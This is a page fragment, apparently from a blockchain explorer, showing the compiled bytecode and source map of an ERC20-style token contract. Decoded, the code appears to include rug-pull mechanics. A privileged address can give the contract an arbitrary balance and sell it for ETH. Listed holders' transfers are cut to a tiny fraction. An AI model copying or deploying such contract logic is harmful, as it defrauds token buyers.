f52603260045260245ffd5b5f8151905061189e8161141d565b92915050565b5f602082840312156118b9576118b86113e5565b5b5f6118c684828501611890565b91505092915050565b5f819050919050565b5f819050919050565b5f6118fb6118f66118f1846118cf565b6118d8565b611447565b9050919050565b61190b816118e1565b82525050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b6119438161140c565b82525050565b5f611954838361193a565b60208301905092915050565b5f602082019050919050565b5f61197682611911565b611980818561191b565b935061198b8361192b565b805f5b838110156119bb5781516119a28882611949565b97506119ad83611960565b92505060018101905061198e565b5085935050505092915050565b5f60a0820190506119db5f8301886114eb565b6119e86020830187611902565b81810360408301526119fa818661196c565b9050611a096060830185611563565b611a1660808301846114eb565b9695505050505050565b7f4945524332303a20617070726f76652066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f611a7a602583611345565b9150611a8582611a20565b604082019050919050565b5f6020820190508181035f830152611aa781611a6e565b9050919050565b7f4945524332303a20617070726f766520746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f611b08602383611345565b9150611b1382611aae565b604082019050919050565b5f6020820190508181035f830152611b3581611afc565b9050919050565b5f611b4682611447565b9150611b5183611447565b9250828202611b5f81611447565b91508282048414831517611b7657611b7561173b565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f611bb482611447565b9150611bbf83611447565b925082611bcf57611bce611b7d565b5b828204905092915050565b7f536166654d6174683a20206d756c7469706c69636174696f6e206f766572666c5f8201527f6f77000000000000000000000000000000000000000000000000000000000000602082015250565b5f611c34602283611345565b9150611c3f82611bda565b604082019050919050565b5f6020820190508181035f830152611c6181611c28565b9050919050565b7f536166654d6174683a20206469766973696f6e206279207a65726f00000000005f82015250565b5f611c9c601b83611345565b9150611ca782611c68565b602082019050919050565b5f6020820190508181035f830152611cc981611c90565b905091905056fea264697066735822122097f308b9a3cf300d2524e368454b666b6aa3b48cc8987e282a21855b747c832d64736f6c63430008170033

Deployed Bytecode

0x608060405234801561000f575f80fd5b5060043610610140575f3560e01c80636f268a99116100b657806395d89b411161007a57806395d89b4114610308578063a457c2d714610326578063a9059cbb14610356578063c025b25714610386578063c1c5b21b146103a2578063dd62ed3e146103be57610140565b80636f268a991461028857806370a08231146102a6578063715018a6146102d65780638da5cb5b146102e0578063958e8b4f146102fe57610140565b806323b872dd1161010857806323b872dd146101c45780632e239e3c146101f4578063313ce567146101fe57806332424aa31461021c578063395093511461023a5780633eaaf86b1461026a57610140565b806306fdde0314610144578063095ea7b3146101625780630f8127051461019257806318160ddd1461019c5780631da20cac146101ba575b5f80fd5b61014c6103ee565b60405161015991906113c5565b60405180910390f35b61017c6004803603810190610177919061147a565b61047e565b60405161018991906114d2565b60405180910390f35b61019a610494565b005b6101a4610496565b6040516101b191906114fa565b60405180910390f35b6101c261049f565b005b6101de60048036038101906101d99190611513565b6104a1565b6040516101eb91906114d2565b60405180910390f35b6101fc610543565b005b610206610545565b60405161021391906114fa565b60405180910390f35b61022461054e565b60405161023191906114fa565b60405180910390f35b610254600480360381019061024f919061147a565b610554565b60405161026191906114d2565b60405180910390f35b6102726105f4565b60405161027f91906114fa565b60405180910390f35b6102906105fa565b60405161029d9190611572565b60405180910390f35b6102c060048036038101906102bb919061158b565b61061f565b6040516102cd91906114fa565b60405180910390f35b6102de610665565b005b6102e8610794565b6040516102f59190611572565b60405180910390f35b6103066107bb565b005b6103106107bd565b60405161031d91906113c5565b60405180910390f35b610340600480360381019061033b919061147a565b61084d565b60405161034d91906114d2565b60405180910390f35b610370600480360381019061036b919061147a565b610971565b60405161037d91906114d2565b60405180910390f35b6103a0600480360381019061039b91906115b6565b61098e565b005b6103bc60048036038101906103b79190611655565b610c2b565b005b6103d860048036038101906103d391906116a0565b610cd9565b6040516103e591906114fa565b60405180910390f35b6060600380546103fd9061170b565b80601f01602080910402602001604051908101604052809291908181526020018280546104299061170b565b80156104745780601f1061044b57610100808354040283529160200191610474565b820191905f5260205f20905b81548152906001019060200180831161045757829003601f168201915b5050505050905090565b5f61048a338484610d5b565b6001905092915050565b565b5f600254905090565b565b5f6104ad848484610f1e565b8160075f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6104f46111fd565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541015610538575f80fd5b600190509392505050565b565b5f600154905090565b60015481565b5f6105ea6105606111fd565b848460075f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546105e59190611768565b610d5b565b6001905092915050565b60025481565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f60095f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b3373ffffffffffffffffffffffffffffffffffffffff16610684610794565b73ffffffffffffffffffffffffffffffffffffffff16146106da576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106d1906117e5565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b565b6060600480546107cc9061170b565b80601f01602080910402602001604051908101604052809291908181526020018280546107f89061170b565b80156108435780601f1061081a57610100808354040283529160200191610843565b820191905f5260205f20905b81548152906001019060200180831161082657829003601f168201915b5050505050905090565b5f8160075f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205410156108d2575f80fd5b6109676108dd6111fd565b848460075f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546109629190611803565b610d5b565b6001905092915050565b5f61098461097d6111fd565b8484610f1e565b6001905092915050565b610996611204565b15610c21576109c73060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610d5b565b8160095f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f600267ffffffffffffffff811115610a2557610a24611836565b5b604051908082528060200260200182016040528015610a535781602001602082028036833780820191505090505b50905030815f81518110610a6a57610a69611863565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b0e573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b3291906118a4565b81600181518110610b4657610b45611863565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947845f8486602042610bce9190611768565b6040518663ffffffff1660e01b8152600401610bee9594939291906119c8565b5f604051808303815f87803b158015610c05575f80fd5b505af1158015610c17573d5f803e3d5ffd5b5050505050610c26565b610c27565b5b5050565b5f610c34611261565b90505f5b83839050811015610cd357610c4b611204565b15610cc657600182610c5d9190611768565b60085f868685818110610c7357610c72611863565b5b9050602002016020810190610c88919061158b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b8080600101915050610c38565b50505050565b5f60075f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610dc9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dc090611a90565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610e37576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e2e90611b1e565b60405180910390fd5b8060075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610f1191906114fa565b60405180910390a3505050565b5f8073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603610f56575f80fd5b60095f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054821115610f9f575f80fd5b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610ffc91906114fa565b60405180910390a38160095f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461104d9190611803565b60095f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f611097611261565b60085f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054111590505f6111036103e86110f56103e78761126890919063ffffffff16565b6112df90919063ffffffff16565b90505f60085f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541415801561114f5750815b15611158578092505b5f60095f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905083856111a59190611803565b816111b09190611768565b90508060095f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555050505050505050565b5f33905090565b5f61120d6111fd565b73ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614905090565b5f43905090565b5f808303611278575f90506112d9565b5f82846112859190611b3c565b90508284826112949190611baa565b146112d4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112cb90611c4a565b60405180910390fd5b809150505b92915050565b5f808211611322576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131990611cb2565b60405180910390fd5b5f828461132f9190611baa565b90508091505092915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015611372578082015181840152602081019050611357565b5f8484015250505050565b5f601f19601f8301169050919050565b5f6113978261133b565b6113a18185611345565b93506113b1818560208601611355565b6113ba8161137d565b840191505092915050565b5f6020820190508181035f8301526113dd818461138d565b905092915050565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f611416826113ed565b9050919050565b6114268161140c565b8114611430575f80fd5b50565b5f813590506114418161141d565b92915050565b5f819050919050565b61145981611447565b8114611463575f80fd5b50565b5f8135905061147481611450565b92915050565b5f80604083850312156114905761148f6113e5565b5b5f61149d85828601611433565b92505060206114ae85828601611466565b9150509250929050565b5f8115159050919050565b6114cc816114b8565b82525050565b5f6020820190506114e55f8301846114c3565b92915050565b6114f481611447565b82525050565b5f60208201905061150d5f8301846114eb565b92915050565b5f805f6060848603121561152a576115296113e5565b5b5f61153786828701611433565b935050602061154886828701611433565b925050604061155986828701611466565b9150509250925092565b61156c8161140c565b82525050565b5f6020820190506115855f830184611563565b92915050565b5f602082840312156115a05761159f6113e5565b5b5f6115ad84828501611433565b91505092915050565b5f80604083850312156115cc576115cb6113e5565b5b5f6115d985828601611466565b92505060206115ea85828601611433565b9150509250929050565b5f80fd5b5f80fd5b5f80fd5b5f8083601f840112611615576116146115f4565b5b8235905067ffffffffffffffff811115611632576116316115f8565b5b60208301915083602082028301111561164e5761164d6115fc565b5b9250929050565b5f806020838503121561166b5761166a6113e5565b5b5f83013567ffffffffffffffff811115611688576116876113e9565b5b61169485828601611600565b92509250509250929050565b5f80604083850312156116b6576116b56113e5565b5b5f6116c385828601611433565b92505060206116d485828601611433565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061172257607f821691505b602082108103611735576117346116de565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61177282611447565b915061177d83611447565b92508282019050808211156117955761179461173b565b5b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6117cf602083611345565b91506117da8261179b565b602082019050919050565b5f6020820190508181035f8301526117fc816117c3565b9050919050565b5f61180d82611447565b915061181883611447565b92508282039050818111156118305761182f61173b565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f8151905061189e8161141d565b92915050565b5f602082840312156118b9576118b86113e5565b5b5f6118c684828501611890565b91505092915050565b5f819050919050565b5f819050919050565b5f6118fb6118f66118f1846118cf565b6118d8565b611447565b9050919050565b61190b816118e1565b82525050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b6119438161140c565b82525050565b5f611954838361193a565b60208301905092915050565b5f602082019050919050565b5f61197682611911565b611980818561191b565b935061198b8361192b565b805f5b838110156119bb5781516119a28882611949565b97506119ad83611960565b92505060018101905061198e565b5085935050505092915050565b5f60a0820190506119db5f8301886114eb565b6119e86020830187611902565b81810360408301526119fa818661196c565b9050611a096060830185611563565b611a1660808301846114eb565b9695505050505050565b7f4945524332303a20617070726f76652066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f611a7a602583611345565b9150611a8582611a20565b604082019050919050565b5f6020820190508181035f830152611aa781611a6e565b9050919050565b7f4945524332303a20617070726f766520746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f611b08602383611345565b9150611b1382611aae565b604082019050919050565b5f6020820190508181035f830152611b3581611afc565b9050919050565b5f611b4682611447565b9150611b5183611447565b9250828202611b5f81611447565b91508282048414831517611b7657611b7561173b565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f611bb482611447565b9150611bbf83611447565b925082611bcf57611bce611b7d565b5b828204905092915050565b7f536166654d6174683a20206d756c7469706c69636174696f6e206f766572666c5f8201527f6f77000000000000000000000000000000000000000000000000000000000000602082015250565b5f611c34602283611345565b9150611c3f82611bda565b604082019050919050565b5f6020820190508181035f830152611c6181611c28565b9050919050565b7f536166654d6174683a20206469766973696f6e206279207a65726f00000000005f82015250565b5f611c9c601b83611345565b9150611ca782611c68565b602082019050919050565b5f6020820190508181035f830152611cc981611c90565b905091905056fea264697066735822122097f308b9a3cf300d2524e368454b666b6aa3b48cc8987e282a21855b747c832d64736f6c63430008170033

Deployed Bytecode Sourcemap

4370:4967:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5293:85;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9176:158;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5500:33;;;:::i;:::-;;7349:93;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5539:38;;;:::i;:::-;;6032:228;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5583:35;;;:::i;:::-;;7050:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4438:28;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8757:201;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4475:58;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4905:25;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5384:110;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3471:148;;;:::i;:::-;;3625:71;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5624:36;;;:::i;:::-;;6266:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6675:243;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8964:154;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7448:572;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5666:360;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6535:134;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5293:85;5332:13;5365:5;5358:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5293:85;:::o;9176:158::-;9250:4;9267:37;9276:10;9288:7;9297:6;9267:8;:37::i;:::-;9322:4;9315:11;;9176:158;;;;:::o;5500:33::-;:::o;7349:93::-;7395:7;7422:12;;7415:19;;7349:93;:::o;5539:38::-;:::o;6032:228::-;6120:4;6137:35;6147:4;6153:9;6164:7;6137:9;:35::i;:::-;6222:7;6191:11;:17;6203:4;6191:17;;;;;;;;;;;;;;;:27;6209:8;:6;:8::i;:::-;6191:27;;;;;;;;;;;;;;;;:38;;6183:47;;;;;;6248:4;6241:11;;6032:228;;;;;:::o;5583:35::-;:::o;7050:87::-;7093:7;7120:9;;7113:16;;7050:87;:::o;4438:28::-;;;;:::o;8757:201::-;8837:4;8854:74;8863:8;:6;:8::i;:::-;8873:7;8917:10;8882:11;:23;8894:10;8882:23;;;;;;;;;;;;;;;:32;8906:7;8882:32;;;;;;;;;;;;;;;;:45;;;;:::i;:::-;8854:8;:74::i;:::-;8946:4;8939:11;;8757:201;;;;:::o;4475:58::-;;;;:::o;4905:25::-;;;;;;;;;;;;;:::o;5384:110::-;5441:7;5468:9;:18;5478:7;5468:18;;;;;;;;;;;;;;;;5461:25;;5384:110;;;:::o;3471:148::-;3867:10;3856:21;;:7;:5;:7::i;:::-;:21;;;3848:66;;;;;;;;;;;;:::i;:::-;;;;;;;;;3578:1:::1;3541:40;;3562:6;::::0;::::1;;;;;;;;3541:40;;;;;;;;;;;;3609:1;3592:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;3471:148::o:0;3625:71::-;3671:7;3688:6;;;;;;;;;;;3681:13;;3625:71;:::o;5624:36::-;:::o;6266:87::-;6305:13;6338:7;6331:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6266:87;:::o;6675:243::-;6748:4;6806:6;6773:11;:23;6785:10;6773:23;;;;;;;;;;;;;;;:29;6797:4;6773:29;;;;;;;;;;;;;;;;:39;;6765:48;;;;;;6824:64;6833:8;:6;:8::i;:::-;6843:4;6881:6;6849:11;:23;6861:10;6849:23;;;;;;;;;;;;;;;:29;6873:4;6849:29;;;;;;;;;;;;;;;;:38;;;;:::i;:::-;6824:8;:64::i;:::-;6906:4;6899:11;;6675:243;;;;:::o;8964:154::-;9033:4;9050:38;9060:8;:6;:8::i;:::-;9070:9;9081:6;9050:9;:38::i;:::-;9106:4;9099:11;;8964:154;;;;:::o;7448:572::-;7531:18;:16;:18::i;:::-;7527:486;;;7566:53;7583:4;7598:11;;;;;;;;;;;7612:6;7566:8;:53::i;:::-;7662:6;7635:9;:24;7653:4;7635:24;;;;;;;;;;;;;;;:33;;;;7683:28;7728:1;7714:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7683:47;;7770:4;7745:11;7757:1;7745:14;;;;;;;;:::i;:::-;;;;;;;:30;;;;;;;;;;;7808:11;;;;;;;;;;;:16;;;:18;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7791:11;7803:1;7791:14;;;;;;;;:::i;:::-;;;;;;;:35;;;;;;;;;;;7842:11;;;;;;;;;;;:62;;;7905:6;7913:1;7916:11;7929:10;7959:2;7941:15;:20;;;;:::i;:::-;7842:120;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7551:423;7527:486;;;7995:7;;7527:486;7448:572;;;:::o;5666:360::-;5744:19;5766:16;:14;:16::i;:::-;5744:38;;5798:15;5793:226;5833:13;;:20;;5820:10;:33;5793:226;;;5891:18;:16;:18::i;:::-;5886:122;;;5991:1;5977:11;:15;;;;:::i;:::-;5938:9;:36;5948:13;;5962:10;5948:25;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;5938:36;;;;;;;;;;;;;;;:54;;;;5886:122;5856:12;;;;;;;5793:226;;;;5733:293;5666:360;;:::o;6535:134::-;6607:7;6634:11;:18;6646:5;6634:18;;;;;;;;;;;;;;;:27;6653:7;6634:27;;;;;;;;;;;;;;;;6627:34;;6535:134;;;;:::o;4939:346::-;5058:1;5041:19;;:5;:19;;;5033:69;;;;;;;;;;;;:::i;:::-;;;;;;;;;5140:1;5121:21;;:7;:21;;;5113:69;;;;;;;;;;;;:::i;:::-;;;;;;;;;5223:6;5193:11;:18;5205:5;5193:18;;;;;;;;;;;;;;;:27;5212:7;5193:27;;;;;;;;;;;;;;;:36;;;;5261:7;5245:32;;5254:5;5245:32;;;5270:6;5245:32;;;;;;:::i;:::-;;;;;;;;4939:346;;;:::o;8026:655::-;8106:17;8162:1;8146:18;;:4;:18;;;8138:27;;;;;;8193:9;:15;8203:4;8193:15;;;;;;;;;;;;;;;;8184:5;:24;;8176:33;;;;;;8240:2;8225:25;;8234:4;8225:25;;;8244:5;8225:25;;;;;;:::i;:::-;;;;;;;;8298:5;8279:9;:15;8289:4;8279:15;;;;;;;;;;;;;;;;:25;;;;:::i;:::-;8261:9;:15;8271:4;8261:15;;;;;;;;;;;;;;;:43;;;;8315:15;8354:16;:14;:16::i;:::-;8334:9;:15;8344:4;8334:15;;;;;;;;;;;;;;;;:37;;8315:57;;8383:25;8411:24;8430:4;8411:14;8421:3;8411:5;:9;;:14;;;;:::i;:::-;:18;;:24;;;;:::i;:::-;8383:52;;8470:1;8451:9;:15;8461:4;8451:15;;;;;;;;;;;;;;;;:20;;8450:36;;;;;8476:10;8450:36;8446:103;;;8518:17;8505:31;;8446:103;8559:17;8579:9;:13;8589:2;8579:13;;;;;;;;;;;;;;;;8559:33;;8627:9;8617:5;8616:21;;;;:::i;:::-;8603:34;;;;;:::i;:::-;;;8664:9;8648;:13;8658:2;8648:13;;;;;;;;;;;;;;;:25;;;;8095:586;;;;8026:655;;;:::o;7257:86::-;7298:7;7325:10;7318:17;;7257:86;:::o;7143:108::-;7193:4;7233:8;:6;:8::i;:::-;7218:24;;:10;;;;;;;;;;;:24;;;7210:33;;7143:108;:::o;6359:96::-;6408:7;6435:12;6428:19;;6359:96;:::o;3089:223::-;3147:7;3176:1;3171;:6;3167:23;;3187:1;3180:8;;;;3167:23;3200:9;3216:1;3212;:5;;;;:::i;:::-;3200:17;;3245:1;3240;3236;:5;;;;:::i;:::-;:10;3228:57;;;;;;;;;;;;:::i;:::-;;;;;;;;;3303:1;3296:8;;;3089:223;;;;;:::o;2903:178::-;2961:7;2993:1;2989;:5;2981:45;;;;;;;;;;;;:::i;:::-;;;;;;;;;3037:9;3053:1;3049;:5;;;;:::i;:::-;3037:17;;3072:1;3065:8;;;2903:178;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1430:117::-;1539:1;1536;1529:12;1553:117;1662:1;1659;1652:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:122::-;1983:24;2001:5;1983:24;:::i;:::-;1976:5;1973:35;1963:63;;2022:1;2019;2012:12;1963:63;1910:122;:::o;2038:139::-;2084:5;2122:6;2109:20;2100:29;;2138:33;2165:5;2138:33;:::i;:::-;2038:139;;;;:::o;2183:77::-;2220:7;2249:5;2238:16;;2183:77;;;:::o;2266:122::-;2339:24;2357:5;2339:24;:::i;:::-;2332:5;2329:35;2319:63;;2378:1;2375;2368:12;2319:63;2266:122;:::o;2394:139::-;2440:5;2478:6;2465:20;2456:29;;2494:33;2521:5;2494:33;:::i;:::-;2394:139;;;;:::o;2539:474::-;2607:6;2615;2664:2;2652:9;2643:7;2639:23;2635:32;2632:119;;;2670:79;;:::i;:::-;2632:119;2790:1;2815:53;2860:7;2851:6;2840:9;2836:22;2815:53;:::i;:::-;2805:63;;2761:117;2917:2;2943:53;2988:7;2979:6;2968:9;2964:22;2943:53;:::i;:::-;2933:63;;2888:118;2539:474;;;;;:::o;3019:90::-;3053:7;3096:5;3089:13;3082:21;3071:32;;3019:90;;;:::o;3115:109::-;3196:21;3211:5;3196:21;:::i;:::-;3191:3;3184:34;3115:109;;:::o;3230:210::-;3317:4;3355:2;3344:9;3340:18;3332:26;;3368:65;3430:1;3419:9;3415:17;3406:6;3368:65;:::i;:::-;3230:210;;;;:::o;3446:118::-;3533:24;3551:5;3533:24;:::i;:::-;3528:3;3521:37;3446:118;;:::o;3570:222::-;3663:4;3701:2;3690:9;3686:18;3678:26;;3714:71;3782:1;3771:9;3767:17;3758:6;3714:71;:::i;:::-;3570:222;;;;:::o;3798:619::-;3875:6;3883;3891;3940:2;3928:9;3919:7;3915:23;3911:32;3908:119;;;3946:79;;:::i;:::-;3908:119;4066:1;4091:53;4136:7;4127:6;4116:9;4112:22;4091:53;:::i;:::-;4081:63;;4037:117;4193:2;4219:53;4264:7;4255:6;4244:9;4240:22;4219:53;:::i;:::-;4209:63;;4164:118;4321:2;4347:53;4392:7;4383:6;4372:9;4368:22;4347:53;:::i;:::-;4337:63;;4292:118;3798:619;;;;;:::o;4423:118::-;4510:24;4528:5;4510:24;:::i;:::-;4505:3;4498:37;4423:118;;:::o;4547:222::-;4640:4;4678:2;4667:9;4663:18;4655:26;;4691:71;4759:1;4748:9;4744:17;4735:6;4691:71;:::i;:::-;4547:222;;;;:::o;4775:329::-;4834:6;4883:2;4871:9;4862:7;4858:23;4854:32;4851:119;;;4889:79;;:::i;:::-;4851:119;5009:1;5034:53;5079:7;5070:6;5059:9;5055:22;5034:53;:::i;:::-;5024:63;;4980:117;4775:329;;;;:::o;5110:474::-;5178:6;5186;5235:2;5223:9;5214:7;5210:23;5206:32;5203:119;;;5241:79;;:::i;:::-;5203:119;5361:1;5386:53;5431:7;5422:6;5411:9;5407:22;5386:53;:::i;:::-;5376:63;;5332:117;5488:2;5514:53;5559:7;5550:6;5539:9;5535:22;5514:53;:::i;:::-;5504:63;;5459:118;5110:474;;;;;:::o;5590:117::-;5699:1;5696;5689:12;5713:117;5822:1;5819;5812:12;5836:117;5945:1;5942;5935:12;5976:568;6049:8;6059:6;6109:3;6102:4;6094:6;6090:17;6086:27;6076:122;;6117:79;;:::i;:::-;6076:122;6230:6;6217:20;6207:30;;6260:18;6252:6;6249:30;6246:117;;;6282:79;;:::i;:::-;6246:117;6396:4;6388:6;6384:17;6372:29;;6450:3;6442:4;6434:6;6430:17;6420:8;6416:32;6413:41;6410:128;;;6457:79;;:::i;:::-;6410:128;5976:568;;;;;:::o;6550:559::-;6636:6;6644;6693:2;6681:9;6672:7;6668:23;6664:32;6661:119;;;6699:79;;:::i;:::-;